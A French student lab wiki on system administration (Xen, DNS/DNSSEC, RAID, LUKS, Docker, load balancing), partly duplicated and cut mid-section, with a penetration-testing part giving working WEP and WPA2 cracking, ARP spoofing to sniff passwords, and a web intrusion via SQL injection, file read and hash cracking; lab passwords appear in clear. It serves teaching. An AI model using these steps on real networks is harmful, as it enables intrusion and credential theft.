Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

Génération d’une clef asymétrique :
ssh-keygen -t rsa

Installation de la clef publique sur une cible :
cat .ssh/id_rsa.pub | ssh cible "cat >> /root/.ssh/authorized_keys2"

A FINIR

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis nous avons modifié notre fichier de configuration reverse.conf :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

TP sysres IMA5sc 2020/2021 G5

2020-12-20T10:51:47Z

Psanchez : /* Partie 7 */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
